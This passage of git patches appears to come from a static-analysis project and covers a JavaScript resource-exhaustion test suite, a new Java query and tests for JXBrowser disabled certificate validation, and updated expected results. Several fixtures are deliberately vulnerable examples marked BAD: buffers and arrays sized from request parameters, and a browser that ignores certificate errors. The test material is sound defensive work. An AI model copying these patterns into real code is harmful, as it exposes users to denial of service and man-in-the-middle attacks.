user-controlled duration from $@. | resource-exhaustion.js:5:21:5:27 | req.url | here | +| resource-exhaustion.js:38:12:38:12 | n | resource-exhaustion.js:9:21:9:27 | req.url | resource-exhaustion.js:38:12:38:12 | n | This creates a string with a user-controlled length from $@. | resource-exhaustion.js:9:21:9:27 | req.url | here | +| resource-exhaustion.js:39:12:39:12 | s | resource-exhaustion.js:9:21:9:27 | req.url | resource-exhaustion.js:39:12:39:12 | s | This creates a string with a user-controlled length from $@. | resource-exhaustion.js:9:21:9:27 | req.url | here | +| resource-exhaustion.js:85:17:85:17 | n | resource-exhaustion.js:9:21:9:27 | req.url | resource-exhaustion.js:85:17:85:17 | n | This creates a timer with a user-controlled duration from $@. | resource-exhaustion.js:9:21:9:27 | req.url | here | +| resource-exhaustion.js:86:17:86:17 | s | resource-exhaustion.js:9:21:9:27 | req.url | resource-exhaustion.js:86:17:86:17 | s | This creates a timer with a user-controlled duration from $@. | resource-exhaustion.js:9:21:9:27 | req.url | here | +| resource-exhaustion.js:87:18:87:18 | n | resource-exhaustion.js:9:21:9:27 | req.url | resource-exhaustion.js:87:18:87:18 | n | This creates a timer with a user-controlled duration from $@. | resource-exhaustion.js:9:21:9:27 | req.url | here | +| resource-exhaustion.js:88:18:88:18 | s | resource-exhaustion.js:9:21:9:27 | req.url | resource-exhaustion.js:88:18:88:18 | s | This creates a timer with a user-controlled duration from $@. | resource-exhaustion.js:9:21:9:27 | req.url | here | diff --git a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array.js b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array.js deleted file mode 100644 index 2fad9da5d93..00000000000 --- a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array.js +++ /dev/null @@ -1,10 +0,0 @@ -var http = require("http"), - url = require("url"); - -var server = http.createServer(function(req, res) { - var size = parseInt(url.parse(req.url, true).query.size); - - let dogs = new Array(size).fill(x => "dog"); // BAD - - // ... use the dog -}); diff --git a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array_fixed.js b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array_fixed.js deleted file mode 100644 index f7c88129264..00000000000 --- a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_array_fixed.js +++ /dev/null @@ -1,16 +0,0 @@ -var http = require("http"), - url = require("url"); - -var server = http.createServer(function(req, res) { - var size = parseInt(url.parse(req.url, true).query.size); - - if (size > 1024) { - res.statusCode = 400; - res.end("Bad request."); - return; - } - - let dogs = new Array(size).fill(x => "dog"); // GOOD - - // ... use the dogs -}); diff --git a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer.js b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer.js deleted file mode 100644 index d821901e818..00000000000 --- a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer.js +++ /dev/null @@ -1,10 +0,0 @@ -var http = require("http"), - url = require("url"); - -var server = http.createServer(function(req, res) { - var size = parseInt(url.parse(req.url, true).query.size); - - let buffer = Buffer.alloc(size); // BAD - - // ... use the buffer -}); diff --git a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer_fixed.js b/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer_fixed.js deleted file mode 100644 index 8d9f9b0839f..00000000000 --- a/javascript/ql/test/query-tests/Security/CWE-770/documentation_examples/ResourceExhaustion_buffer_fixed.js +++ /dev/null @@ -1,16 +0,0 @@ -var http = require("http"), - url = require("url"); - -var server = http.createServer(function(req, res) { - var size = parseInt(url.parse(req.url, true).query.size); - - if (size > 1024) { - res.statusCode = 400; - res.end("Bad request."); - return; - } - - let buffer = Buffer.alloc(size); // GOOD - - // ... use the buffer -}); diff --git a/javascript/ql/test/query-tests/Security/CWE-770/resource-exhaustion.js b/javascript/ql/test/query-tests/Security/CWE-770/resource-exhaustion.js index 1500fe15b87..1815fdb30e9 100644 --- a/javascript/ql/test/query-tests/Security/CWE-770/resource-exhaustion.js +++ b/javascript/ql/test/query-tests/Security/CWE-770/resource-exhaustion.js @@ -1,3 +1,7 @@ +// this file contains many `NOT OK [INCONSISTENCY]` annotations, those +// would be resolved if the query used flow labels to recognice +// numbers flowing to sinks + var http = require("http"), url = require("url"); @@ -9,32 +13,32 @@ var server = http.createServer(function(req, res) { Buffer.from(n); // OK Buffer.from(x, n); // OK Buffer.from(x, y, s); // NOT OK - Buffer.from(x, y, n); // NOT OK - Buffer.from(x, y, n); // NOT OK - Buffer.alloc(n); // NOT OK - Buffer.allocUnsafe(n); // NOT OK - Buffer.allocUnsafeSlow(n); // NOT OK + Buffer.from(x, y, n); // NOT OK [INCONSISTENCY] + Buffer.from(x, y, n); // NOT OK [INCONSISTENCY] + Buffer.alloc(n); // NOT OK [INCONSISTENCY] + Buffer.allocUnsafe(n); // NOT OK [INCONSISTENCY] + Buffer.allocUnsafeSlow(n); // NOT OK [INCONSISTENCY] - new Buffer(n); // NOT OK + new Buffer(n); // NOT OK [INCONSISTENCY] new Buffer(x, n); // OK - new Buffer(x, y, n); // NOT OK + new Buffer(x, y, n); // NOT OK [INCONSISTENCY] - new SlowBuffer(n); // NOT OK + new SlowBuffer(n); // NOT OK [INCONSISTENCY] Array(n); // OK new Array(n); // OK - Array(n).map(); // NOT OK - new Array(n).map(); // NOT OK - Array(n).fill(); // NOT OK - Array(n).join(); // NOT OK - Array(n).toString(); // NOT OK - Array(n) + x; // NOT OK + Array(n).map(); // NOT OK [INCONSISTENCY] + new Array(n).map(); // NOT OK [INCONSISTENCY] + Array(n).fill(); // NOT OK [INCONSISTENCY] + Array(n).join(); // NOT OK [INCONSISTENCY] + Array(n).toString(); // NOT OK [INCONSISTENCY] + Array(n) + x; // NOT OK [INCONSISTENCY] x.repeat(n); // NOT OK x.repeat(s); // NOT OK - new Buffer(n * x); // NOT OK + new Buffer(n * x); // NOT OK [INCONSISTENCY] new Buffer(n + n); // NOT OK [INCONSISTENCY] new Buffer(n + x); // OK (maybe) new Buffer(n + s); // OK (this is a string if `s` is a string) @@ -42,32 +46,32 @@ var server = http.createServer(function(req, res) { new Buffer(s + s); // OK new Buffer(n + "X"); // OK - new Buffer(Math.ceil(s)); // NOT OK - new Buffer(Number(s)); // NOT OK + new Buffer(Math.ceil(s)); // NOT OK [INCONSISTENCY] + new Buffer(Number(s)); // NOT OK [INCONSISTENCY] new Buffer(new Number(s)); // OK new Buffer(s + x.length); // OK (this is a string if `s` is a string) - new Buffer(s.length); // NOT OK + new Buffer(s.length); // NOT OK [INCONSISTENCY] if (n < 100) { new Buffer(n); // OK } else { - new Buffer(n); // NOT OK + new Buffer(n); // NOT OK [INCONSISTENCY] } let ns = x ? n : s; - new Buffer(ns); // NOT OK + new Buffer(ns); // NOT OK [INCONSISTENCY] new Buffer(n.toString()); // OK if (typeof n === "string") { new Buffer(n); // OK } else { - new Buffer(n); // NOT OK + new Buffer(n); // NOT OK [INCONSISTENCY] } if (typeof n === "number") { - new Buffer(n); // NOT OK + new Buffer(n); // NOT OK [INCONSISTENCY] } else { new Buffer(n); // OK } From 2ba7ed49400b91f768e21c28d86bf53f2c2e65ea Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 12 Jan 2021 13:32:43 +0100 Subject: [PATCH 0526/1241] Python: Add note about future work for getARequestHandler --- python/ql/src/semmle/python/Concepts.qll | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/Concepts.qll b/python/ql/src/semmle/python/Concepts.qll index 6eda29e6c51..a79eaa2dc55 100644 --- a/python/ql/src/semmle/python/Concepts.qll +++ b/python/ql/src/semmle/python/Concepts.qll @@ -313,7 +313,11 @@ module HTTP { /** Gets the URL pattern for this route, if it can be statically determined. */ string getUrlPattern() { result = range.getUrlPattern() } - /** Gets a function that will handle incoming requests for this route, if any. */ + /** + * Gets a function that will handle incoming requests for this route, if any. + * + * NOTE: This will be modified in the near future to have a `RequestHandler` result, instead of a `Function`. + */ Function getARequestHandler() { result = range.getARequestHandler() } /** @@ -343,7 +347,11 @@ module HTTP { ) } - /** Gets a function that will handle incoming requests for this route, if any. */ + /** + * Gets a function that will handle incoming requests for this route, if any. + * + * NOTE: This will be modified in the near future to have a `RequestHandler` result, instead of a `Function`. + */ abstract Function getARequestHandler(); /** From 9b3070ab7c061b6d61f8e282c4e1272803750c6c Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Tue, 12 Jan 2021 14:48:22 +0100 Subject: [PATCH 0527/1241] Java: Add JXBrowser disabled certificate query. --- .../JXBrowserWithoutCertValidation.java | 23 ++++++ .../JXBrowserWithoutCertValidation.qhelp | 31 ++++++++ .../CWE-295/JXBrowserWithoutCertValidation.ql | 73 +++++++++++++++++++ 3 files changed, 127 insertions(+) create mode 100644 java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.java create mode 100644 java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.qhelp create mode 100644 java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.ql diff --git a/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.java b/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.java new file mode 100644 index 00000000000..e45039e0fef --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.java @@ -0,0 +1,23 @@ +public static void main(String[] args) { + { + Browser browser = new Browser(); + browser.loadURL("https://example.com"); + // no further calls + // BAD: The browser ignores any certificate error by default! + } + + { + Browser browser = new Browser(); + browser.setLoadHandler(new LoadHandler() { + public boolean onLoad(LoadParams params) { + return true; + } + + public boolean onCertificateError(CertificateErrorParams params){ + return true; // GOOD: This means that loading will be cancelled on certificate errors + } + }); // GOOD: A secure `LoadHandler` is used. + browser.loadURL("https://example.com"); + + } +} \ No newline at end of file diff --git a/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.qhelp b/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.qhelp new file mode 100644 index 00000000000..1d9588652c2 --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.qhelp @@ -0,0 +1,31 @@ +<!DOCTYPE qhelp PUBLIC + "-//Semmle//qhelp//EN" + "qhelp.dtd"> +<qhelp> + +<overview> +<p>JXBrowser is a Java library that allows to embed the Chromium browser inside Java applications. +The version 6.x.x by default ignores any HTTPS certificate errors thereby allowing man-in-the-middle attacks. +</p> +</overview> + +<recommendation> +<p>Do either of these: +<li>Update to version 7.x.x as it now correctly rejects certificate errors by default.</li> +<li>Add a custom implementation of the <code>LoadHandler</code> interface whose <code>onCertificateError</code> method always returns <b>true</b> indicating that loading should be cancelled. +Then use the <code>setLoadHandler</code> method with your custom <code>LoadHandler</code> on every <code>Browser</code> you use.</li> +</p> +</recommendation> + +<example> +<p>The following two examples show two ways of using a <code>Browser</code>. In the 'BAD' case, +all certificate errors are ignored. In the 'GOOD' case, certificate errors are rejected.</p> +<sample src="JXBrowserWithoutCertValidation.java" /> +</example> + +<references> +<li>Teamdev: +<a href="https://www.teamdev.com/downloads/jxbrowser/javadoc/com/teamdev/jxbrowser/chromium/LoadHandler.html#onCertificateError-com.teamdev.jxbrowser.chromium.CertificateErrorParams-"> +Javadoc for the LoadHandler#onCertificateError method</a>.</li> +</references> +</qhelp> diff --git a/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.ql b/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.ql new file mode 100644 index 00000000000..6e7fe37e668 --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.ql @@ -0,0 +1,73 @@ +/** + * @name JXBrowser with disabled certificate validation + * @description Insecure configuration of JXBrowser disables certificate validation making the app vulnerable to man-in-the-middle attacks. + * @kind problem + * @id java/jxbrowser/disabled-certificate-validation + * @tags security + * external/cwe-295 + */ + +import java +import semmle.code.java.security.Encryption +import semmle.code.java.dataflow.TaintTracking + +/* + * This query is version specific to JXBrowser 6.x.x. The version is indirectly detected. + * In version 6.x.x the `Browser` class is in a different package compared to version 7.x.x. + */ + +/** The `com.teamdev.jxbrowser.chromium.Browser` class. */ +private class JXBrowser extends RefType { + JXBrowser() { this.hasQualifiedName("com.teamdev.jxbrowser.chromium", "Browser") } +} + +/** The `setLoadHandler` method on the `com.teamdev.jxbrowser.chromium.Browser` class. */ +private class JXBrowserSetLoadHandler extends Method { + JXBrowserSetLoadHandler() { + this.hasName("setLoadHandler") and this.getDeclaringType() instanceof JXBrowser + } +} + +/** The `com.teamdev.jxbrowser.chromium.LoadHandler` interface. */ +private class JXBrowserLoadHandler extends RefType { + JXBrowserLoadHandler() { this.hasQualifiedName("com.teamdev.jxbrowser.chromium", "LoadHandler") } +} + +private predicate isOnCertificateErrorMethodSafe(Method m) { + forex(ReturnStmt rs | rs.getEnclosingCallable() = m | + rs.getResult().(CompileTimeConstantExpr).getBooleanValue() = true + ) +} + +/** A class that securely implements the `com.teamdev.jxbrowser.chromium.LoadHandler` interface. */ +private class JXBrowserSafeLoadHandler extends RefType { + JXBrowserSafeLoadHandler() { + this.getASupertype() instanceof JXBrowserLoadHandler and + exists(Method m | m.hasName("onCertificateError") and m.getDeclaringType() = this | + isOnCertificateErrorMethodSafe(m) + ) + } +} + +private class JXBrowserTaintTracking extends TaintTracking::Configuration { + JXBrowserTaintTracking() { this = "JXBrowserTaintTracking" } + + override predicate isSource(DataFlow::Node src) { + exists(ClassInstanceExpr newJXBrowser | newJXBrowser.getConstructedType() instanceof JXBrowser | + newJXBrowser = src.asExpr() + ) + } + + override predicate isSink(DataFlow::Node sink) { + exists(MethodAccess ma | ma.getMethod() instanceof JXBrowserSetLoadHandler | + ma.getArgument(0).getType() instanceof JXBrowserSafeLoadHandler and + ma.getQualifier() = sink.asExpr() + ) + } +} + +from JXBrowserTaintTracking cfg, DataFlow::Node src +where + cfg.isSource(src) and + not cfg.hasFlow(src, _) +select src, "This JXBrowser instance allows man-in-the-middle attacks." From b30872806dc631f53638f99fc2499fff012c57d8 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Tue, 12 Jan 2021 14:49:12 +0100 Subject: [PATCH 0528/1241] Java: Add tests and test stubs. --- .../JXBrowserWithoutCertValidation.expected | 1 + .../JXBrowserWithoutCertValidation.java | 36 +++++++++++++++++++ .../JXBrowserWithoutCertValidation.qlref | 1 + .../query-tests/security/CWE-295/options | 1 + .../teamdev/jxbrowser/chromium/Browser.java | 9 +++++ .../chromium/CertificateErrorParams.java | 5 +++ .../jxbrowser/chromium/LoadHandler.java | 7 ++++ .../jxbrowser/chromium/LoadParams.java | 5 +++ 8 files changed, 65 insertions(+) create mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.expected create mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.java create mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.qlref create mode 100644 java/ql/test/experimental/query-tests/security/CWE-295/options create mode 100644 java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/Browser.java create mode 100644 java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/CertificateErrorParams.java create mode 100644 java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/LoadHandler.java create mode 100644 java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/LoadParams.java diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.expected b/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.expected new file mode 100644 index 00000000000..00d43d1e8b7 --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.expected @@ -0,0 +1 @@ +| JXBrowserWithoutCertValidation.java:17:27:17:39 | new Browser(...) | This JXBrowser instance allows man-in-the-middle attacks. | diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.java b/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.java new file mode 100644 index 00000000000..97fc8e8770f --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.java @@ -0,0 +1,36 @@ +import com.teamdev.jxbrowser.chromium.Browser; +import com.teamdev.jxbrowser.chromium.LoadHandler; +import com.teamdev.jxbrowser.chromium.LoadParams; +import com.teamdev.jxbrowser.chromium.CertificateErrorParams; + +public class JXBrowserWithoutCertValidation { + + public static void main(String[] args) { + + badUsage(); + + goodUsage(); + + } + + private static void badUsage() { + Browser browser = new Browser(); + browser.loadURL("https://example.com"); + // no further calls + // BAD: The browser ignores any certificate error by default! + } + + private static void goodUsage() { + Browser browser = new Browser(); + browser.setLoadHandler(new LoadHandler() { + public boolean onLoad(LoadParams params) { + return true; + } + + public boolean onCertificateError(CertificateErrorParams params) { + return true; // GOOD: This means that loading will be cancelled on certificate errors + } + }); // GOOD: A secure `LoadHandler` is used. + browser.loadURL("https://example.com"); + } +} \ No newline at end of file diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.qlref b/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.qlref new file mode 100644 index 00000000000..ab2a3f14bb9 --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-295/JXBrowserWithoutCertValidation.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-295/JXBrowserWithoutCertValidation.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/options b/java/ql/test/experimental/query-tests/security/CWE-295/options new file mode 100644 index 00000000000..770bbcd38e6 --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-295/options @@ -0,0 +1 @@ + //semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/jxbrowser-6.23.1 \ No newline at end of file diff --git a/java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/Browser.java b/java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/Browser.java new file mode 100644 index 00000000000..327a4b4ecd8 --- /dev/null +++ b/java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/Browser.java @@ -0,0 +1,9 @@ +package com.teamdev.jxbrowser.chromium; + +public class Browser extends java.lang.Object { + public void setLoadHandler(LoadHandler handler) { + } + + public void loadURL(String url) { + } +} \ No newline at end of file diff --git a/java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/CertificateErrorParams.java b/java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/CertificateErrorParams.java new file mode 100644 index 00000000000..904b98a6c51 --- /dev/null +++ b/java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/CertificateErrorParams.java @@ -0,0 +1,5 @@ +package com.teamdev.jxbrowser.chromium; + +public final class CertificateErrorParams extends Object { + +} \ No newline at end of file diff --git a/java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/LoadHandler.java b/java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/LoadHandler.java new file mode 100644 index 00000000000..a628d88439c --- /dev/null +++ b/java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/LoadHandler.java @@ -0,0 +1,7 @@ +package com.teamdev.jxbrowser.chromium; + +public interface LoadHandler { + boolean onCertificateError(CertificateErrorParams params); + + boolean onLoad(LoadParams params); +} \ No newline at end of file diff --git a/java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/LoadParams.java b/java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/LoadParams.java new file mode 100644 index 00000000000..213e54f1dbc --- /dev/null +++ b/java/ql/test/experimental/stubs/jxbrowser-6.23.1/com/teamdev/jxbrowser/chromium/LoadParams.java @@ -0,0 +1,5 @@ +package com.teamdev.jxbrowser.chromium; + +public final class LoadParams extends Object { + +} \ No newline at end of file From 4fa8f5eab2f0e63693b5630aa189b7bbb8be79cc Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Tue, 12 Jan 2021 15:07:48 +0100 Subject: [PATCH 0529/1241] Java: Accept test changes --- .../security/CWE-273/UnsafeCertTrust.expected | 8 ++--- .../UnsafeHostnameVerification.expected | 36 +++++++++---------- 2 files changed, 21 insertions(+), 23 deletions(-) diff --git a/java/ql/test/experimental/query-tests/security/CWE-273/UnsafeCertTrust.expected b/java/ql/test/experimental/query-tests/security/CWE-273/UnsafeCertTrust.expected index c0ea40f9bdb..5d2da21289e 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-273/UnsafeCertTrust.expected +++ b/java/ql/test/experimental/query-tests/security/CWE-273/UnsafeCertTrust.expected @@ -1,7 +1,5 @@ | UnsafeCertTrustTest.java:27:4:27:74 | init(...) | Unsafe configuration of trusted certificates | | UnsafeCertTrustTest.java:42:4:42:38 | init(...) | Unsafe configuration of trusted certificates | -| UnsafeCertTrustTest.java:55:3:60:4 | setDefaultHostnameVerifier(...) | Unsafe configuration of trusted certificates | -| UnsafeCertTrustTest.java:73:3:73:57 | setDefaultHostnameVerifier(...) | Unsafe configuration of trusted certificates | -| UnsafeCertTrustTest.java:124:25:124:52 | createSSLEngine(...) | Unsafe configuration of trusted certificates | -| UnsafeCertTrustTest.java:135:25:135:52 | createSSLEngine(...) | Unsafe configuration of trusted certificates | -| UnsafeCertTrustTest.java:144:34:144:83 | createSocket(...) | Unsafe configuration of trusted certificates | +| UnsafeCertTrustTest.java:92:25:92:52 | createSSLEngine(...) | Unsafe configuration of trusted certificates | +| UnsafeCertTrustTest.java:103:25:103:52 | createSSLEngine(...) | Unsafe configuration of trusted certificates | +| UnsafeCertTrustTest.java:112:34:112:83 | createSocket(...) | Unsafe configuration of trusted certificates | diff --git a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.expected b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.expected index 18628e4f7cc..acb9f1eabe0 100644 --- a/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.expected +++ b/java/ql/test/query-tests/security/CWE-297/UnsafeHostnameVerification.expected @@ -1,21 +1,21 @@ edges -| UnsafeHostnameVerification.java:65:31:75:3 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:76:49:76:56 | verifier | -| UnsafeHostnameVerification.java:83:31:88:3 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:89:49:89:56 | verifier | -| UnsafeHostnameVerification.java:92:69:97:2 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:34:50:34:76 | ALLOW_ALL_HOSTNAME_VERIFIER | +| UnsafeHostnameVerification.java:66:37:80:9 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:81:55:81:62 | verifier | +| UnsafeHostnameVerification.java:88:37:93:9 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:94:55:94:62 | verifier | +| UnsafeHostnameVerification.java:97:72:102:5 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:34:59:34:85 | ALLOW_ALL_HOSTNAME_VERIFIER | nodes -| UnsafeHostnameVerification.java:14:49:19:3 | new (...) | semmle.label | new (...) | -| UnsafeHostnameVerification.java:26:49:26:65 | ...->... | semmle.label | ...->... | -| UnsafeHostnameVerification.java:34:50:34:76 | ALLOW_ALL_HOSTNAME_VERIFIER | semmle.label | ALLOW_ALL_HOSTNAME_VERIFIER | -| UnsafeHostnameVerification.java:47:49:47:65 | ...->... | semmle.label | ...->... | -| UnsafeHostnameVerification.java:59:50:59:76 | ...->... | semmle.label | ...->... | -| UnsafeHostnameVerification.java:65:31:75:3 | new (...) : new HostnameVerifier(...) { ... } | semmle.label | new (...) : new HostnameVerifier(...) { ... } | -| UnsafeHostnameVerification.java:76:49:76:56 | verifier | semmle.label | verifier | -| UnsafeHostnameVerification.java:83:31:88:3 | new (...) : new HostnameVerifier(...) { ... } | semmle.label | new (...) : new HostnameVerifier(...) { ... } | -| UnsafeHostnameVerification.java:89:49:89:56 | verifier | semmle.label | verifier | -| UnsafeHostnameVerification.java:92:69:97:2 | new (...) : new HostnameVerifier(...) { ... } | semmle.label | new (...) : new HostnameVerifier(...) { ... } | +| UnsafeHostnameVerification.java:14:55:19:9 | new (...) | semmle.label | new (...) | +| UnsafeHostnameVerification.java:26:55:26:71 | ...->... | semmle.label | ...->... | +| UnsafeHostnameVerification.java:34:59:34:85 | ALLOW_ALL_HOSTNAME_VERIFIER | semmle.label | ALLOW_ALL_HOSTNAME_VERIFIER | +| UnsafeHostnameVerification.java:47:55:47:71 | ...->... | semmle.label | ...->... | +| UnsafeHostnameVerification.java:59:59:59:85 | ...->... | semmle.label | ...->... | +| UnsafeHostnameVerification.java:66:37:80:9 | new (...) : new HostnameVerifier(...) { ... } | semmle.label | new (...) : new HostnameVerifier(...) { ... } | +| UnsafeHostnameVerification.java:81:55:81:62 | verifier | semmle.label | verifier | +| UnsafeHostnameVerification.java:88:37:93:9 | new (...) : new HostnameVerifier(...) { ... } | semmle.label | new (...) : new HostnameVerifier(...) { ... } | +| UnsafeHostnameVerification.java:94:55:94:62 | verifier | semmle.label | verifier | +| UnsafeHostnameVerification.java:97:72:102:5 | new (...) : new HostnameVerifier(...) { ... } | semmle.label | new (...) : new HostnameVerifier(...) { ... } | #select -| UnsafeHostnameVerification.java:14:49:19:3 | new (...) | UnsafeHostnameVerification.java:14:49:19:3 | new (...) | UnsafeHostnameVerification.java:14:49:19:3 | new (...) | $@ that is defined $@ and accepts any certificate as valid, is used $@. | UnsafeHostnameVerification.java:14:49:19:3 | new (...) | This hostname verifier | UnsafeHostnameVerification.java:14:53:14:68 | new HostnameVerifier(...) { ... } | here | UnsafeHostnameVerification.java:14:49:19:3 | new (...) | here | -| UnsafeHostnameVerification.java:26:49:26:65 | ...->... | UnsafeHostnameVerification.java:26:49:26:65 | ...->... | UnsafeHostnameVerification.java:26:49:26:65 | ...->... | $@ that is defined $@ and accepts any certificate as valid, is used $@. | UnsafeHostnameVerification.java:26:49:26:65 | ...->... | This hostname verifier | UnsafeHostnameVerification.java:26:49:26:65 | new HostnameVerifier(...) { ... } | here | UnsafeHostnameVerification.java:26:49:26:65 | ...->... | here | -| UnsafeHostnameVerification.java:47:49:47:65 | ...->... | UnsafeHostnameVerification.java:47:49:47:65 | ...->... | UnsafeHostnameVerification.java:47:49:47:65 | ...->... | $@ that is defined $@ and accepts any certificate as valid, is used $@. | UnsafeHostnameVerification.java:47:49:47:65 | ...->... | This hostname verifier | UnsafeHostnameVerification.java:47:49:47:65 | new HostnameVerifier(...) { ... } | here | UnsafeHostnameVerification.java:47:49:47:65 | ...->... | here | -| UnsafeHostnameVerification.java:76:49:76:56 | verifier | UnsafeHostnameVerification.java:65:31:75:3 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:76:49:76:56 | verifier | $@ that is defined $@ and accepts any certificate as valid, is used $@. | UnsafeHostnameVerification.java:65:31:75:3 | new (...) : new HostnameVerifier(...) { ... } | This hostname verifier | UnsafeHostnameVerification.java:65:35:65:50 | new HostnameVerifier(...) { ... } | here | UnsafeHostnameVerification.java:76:49:76:56 | verifier | here | -| UnsafeHostnameVerification.java:89:49:89:56 | verifier | UnsafeHostnameVerification.java:83:31:88:3 | new (...) : new HostnameVerifier(...) { ... } | UnsafeHostnameVerification.java:89:49:89:56 | verifier | $@ that is defined $@ and accepts any certificate as valid, is used $@. | UnsafeHostnameVerification.java:83:31:88:3 | new (...) : new HostnameVerifier(...) { ... } | This hostname verifier | UnsafeHostnameVerification.java:83:35:83:50 | new HostnameVerifier(...) { ... } | here | UnsafeHostnameVerification.java:89:49:89:56 | verifier | here | +| UnsafeHostnameVerification.java:14:55:19:9 | new (...) | UnsafeHostnameVerification.java:14:55:19:9 | new (...) | UnsafeHostnameVerification.java:14:55:19:9 | new (...) | $@ that is defined $@ and accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:14:55:19:9 | new (...) | This hostname verifier | UnsafeHostnameVerification.java:14:59:14:74 | new HostnameVerifier(...) { ... } | here | +| UnsafeHostnameVerification.java:26:55:26:71 | ...->... | UnsafeHostnameVerification.java:26:55:26:71 | ...->... | UnsafeHostnameVerification.java:26:55:26:71 | ...->... | $@ that is defined $@ and accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:26:55:26:71 | ...->... | This hostname verifier | UnsafeHostnameVerification.java:26:55:26:71 | new HostnameVerifier(...) { ... } | here | +| UnsafeHostnameVerification.java:47:55:47:71 | ...->... | UnsafeHostnameVerification.java:47:55:47:71 | ...->... | UnsafeHostnameVerification.java:47:55:47:71 | ...->... | $@ that is defined $@ and accepts any certificate as valid, is used here. | UnsafeHostnameVerification.java:47:55:47:71 | ...->... | This hostname verifier | UnsafeHostnameVerification.java:47:55:47:71 | new HostnameVerifier(...) { ... } | here | +| 